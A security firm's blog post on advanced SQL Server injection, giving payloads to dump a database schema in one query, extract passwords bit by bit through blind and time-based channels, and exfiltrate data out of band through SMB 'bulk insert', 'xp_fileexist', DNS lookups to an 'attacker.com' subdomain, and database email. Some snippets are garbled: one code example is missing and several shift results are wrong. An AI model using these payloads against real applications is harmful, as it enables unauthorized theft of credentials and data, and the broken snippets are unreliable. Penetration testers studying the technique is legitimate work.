04 May, 2020

Advanced SQL Injection

by Jonn Callahan

Ah, SQL injection. Probably one of the most iconic vulnerabilities in the web appsec sphere. Even given how easy it is to fix (parameterize your queries please, none of this blacklisting garbage), it’s still found in the wild on a regular basis. While there are a million posts out there detailing vanilla exploitation, this post is going to delve into more advanced attacks. Specifically, I’m going to discuss enumerating the schema of a database in a single payload, greatly reducing the number of queries required to exfiltrate data via bit shifting, and viable attacks in a blind and asynchronous situation. The focus will revolve around a SQL Server context, but most if not all of these techniques should transfer to exploitation of other databases.

Before we begin: do not leverage these techniques against a system unless you have the express permission of the system owner. nVisium is not liable for any trouble you get into not using common sense. Now, with that out of the way, let’s dive in.

Mega Payload

So the classic attack vector for SQLi against a SQL Server instance is to abuse overly verbose error messages. While this is extremely easy to exploit, you’re limited to pulling out a single piece of data at a time. For example, this payload will return an error indicating the value of the ‘password’ column found in the first row of the ‘Employees’ table:

1' or 1=1/(select top 1 password from Employees);--

However, neither of these payloads will return any information of use:

1' or 1=1/(select password from Employees);--
1' or 1=1/(select top 1 * from Employees);--

This kind of attack is fairly simple, but it’s not very efficient for pulling out large quantities of data (barring programmatic exploit, of course). This becomes especially apparent when trying to enumerate the schema of your exploited database. Enter the Mega Payload. The giant SQL query makes the database enumerate everything for you, save it all into a single variable, and display it via the same error vector we’ve been leveraging:

declare @r nvarchar(max);
declare @t nvarchar(40);
set @r='';
select table_name into #Itertable from information_schema.tables;
while exists (select * from #Itertable)
set @t = (select top 1 table_name from #Itertable);
set @r += @t + '('; select column_name into #Itertable2 from information_schema.columns where table_name=@t;
while exists (select * from #Itertable2)
set @r += (select top 1 column_name from #Itertable2) + ',';
delete top(1) #Itertable2;
set @r += ')';
drop table #Itertable2;
delete top(1) #Itertable;
drop table #Itertable;
select convert(int, @r);

This query creates two temporary tables, one containing all tables in the schema and another with each column of a specific table. The while loops iterate over both, saving all data into the @r variable. The final convert call then errors out and displays the contents of @r.

Bit Shifting

So now the real fun begins. For this, we’re targeting a system which returns a generic error message if something goes wrong. In this situation, we can either leverage time-based queries or abuse the fact we still have a two state system, one where the if condition returns true and one where it returns false. A typical payload exploiting the latter:

1';if(select top 1 password from Employees) like 'a%' (select 1/0);--

If the password begins with ‘a’, the generic error message will be returned. This works well but requires you to iterate over every possible character. Even assuming that piece of data is only a letter or number, that’s an average of 31 queries per character (52 letters + 10 digits / 2). That number only increases as you begin to include things like special characters. However, the bit shifting technique only requires seven queries per character. This is achieved by leveraging an operation called bit shifting. Quick run down on how this works:

1100001 >> 1 = 0110000
1100001 >> 2 = 0011000

And so on and so forth. Note that we’re using logical bit shifting here. Arithmetic bit shifting will rotate the bit that’s “fallen off” onto the back of the value:

1100001 >> 1 = 1110000

Now, why is this useful? Binary representations of ASCII values, of course. For example, the binary values used above are for the letter ‘a’. If we shift this value seven times, every bit will eventually be in the least significant spot. Determining the value of the least significant bit can be achieved via the modulus operator. So to tie everything together, the following seven operations will give us the value of the character:

1100001 >> 0 = 1100001 % 2 = 1
1100001 >> 1 = 0110001 % 2 = 1
1100001 >> 6 = 0000001 % 2 = 1

After stringing together the result of each bit shift and mod operation, we have the binary value of the character. To incorporate this into an actual payload, first we need to convert our piece of data to binary:


Then we need to perform our bit shift and mod operations on that value. Sadly, SQL Server does not have a bit shifting operation built into it (MySQL does, FYI), but we can still achieve the same results through the magic of binary multiplication and division:

1100001 / 2^3 = 0001100

So leveraging this fun property, we get the following as our payload so far:

convert(binary(1),substring((<query>),1,1)) / power(2,0)) % 2

Then all that’s left is to wrap it in our if statement to create a two state system:

if((convert(binary(1),substring((<query>),1,1)) / power(2,0)) % 2) = 0 (select 1/0)

I tested both enumeration techniques against a database with 14 tables and 91 columns. Character enumeration took 1,013 seconds and made 18,043 requests to the server while bit shifting took only 684 seconds and made only 8,722 requests. Quite the difference. However, these numbers are skewed very heavily for character enumeration. That’s due to the like clause being case insensitive within SQL Server. You effectively reduce your search space by 26. This significantly speeds up enumeration times, but you lose precision in data sets that are case sensitive such as plaintext passwords (but let’s hope that’s never the case). Exploitation of databases that are case sensitive (such as MySQL) will see even greater differences when leveraging the bit shifting technique.

Using this technique in a true blind context (i.e. there is no way to tell if a SQL error has occurred or not) is usually achieved by leveraging ‘waitfor delay’ to use time as your side channel. This will actually result in bit shifting taking much longer to run than character enumeration. This is because bit shifting calls the ‘waitfor’ an average of 3.5 times per character (due to enumerating all seven bits), and character enumeration only calls it once per character (when the correct character has been guessed). Bit shifting will still edge out char enumeration in number of requests by a large margin, so it should be the technique of choice when exploiting low and slow. Below are both techniques being benchmarked against the same database using time as a side channel.

It should be noted that the application tends to hang for an extreme amount time when a looping structure or waitfor is called against a SQL Server backend. Specifically, the .NET SqlCommand library will hang for the duration of the CommandTimeout property, which defaults to 30 seconds. I have yet to pin down a reason for this to occur, so any insight would be greatly appreciated. That said, when programmatically exploiting, connections should timeout client side instead of waiting the full 30 seconds. In my test environment, I’ve been able to bring the timeout time down to ~1.5 seconds without introducing false positives. However, this number will vary greatly when exploiting different applications.

Asynchronous Methodology

Occasionally you’ll come across asynchronous SQL injection points where you are unable to leverage time as a side channel. A viable method of exfiltrating data in this situation is by abusing SMB and bulk insert. If you create an SMB share without any authentication, you can tell SQL Server to attempt to load a file from it.

declare @f varchar(100)=(select concat((select top 1 username from userprofiles),'.',(select top 1 password from userprofiles)));
exec('bulk insert comments from '''+@f+'''');

Running this against the same database results in SQL Server attempting to load up the ‘admin.admin’ file from over SMB. The Wireshark traffic below shows the request.

This attack is obviously very limited in that it requires the database to either make a connection to a box you control or over a known network route to a box with an unauthenticated SMB share. If the victim application is not running with sufficient rights to leverage the ‘bulk insert’ method, the xp_fileexist stored procedure can also be used on SMB shares.

declare @f varchar(100)=(<query>);
exec('xp_fileexist '''+@f+'''');

Other exploitation methods you can use when working in an asynchronous context include making DNS requests or sending email. Both the bulk insert and xp_fileexist stored procedure allow for DNS queries to be made.

declare @f varchar(100)=(<query>);
exec('bulk insert comments from '''+@f+'.attacker.comtest.txt''');

The distinct advantage of using a subdomain as your data injection point is that DNS queries are much more likely to successfully exit the victim’s network. While it is unlikely for SMB traffic to get through perimeter firewalls, DNS queries probably will. The large drawback of using either of these vectors is the size limitation of the data you can exfiltrate; domain and file names can only be so long.

The final methodology relies on using email as an exfiltration vector. However, this is the least likely of the three to actually work. Within SQL Server, an email profile needs to be created and the email functionality itself needs to be enabled. It is unlikely for an application’s account to have sufficient rights to do either, but if you’re lucky enough for both to already be done, this may be a viable attack vector. Once set up, sending email is as easy as calling a stored procedure:

exec sp_send_dbmail @profile_name='profilename',
@body='Dump your data here'


You might also like:

Get Security Assessment Tips Delivered to your inbox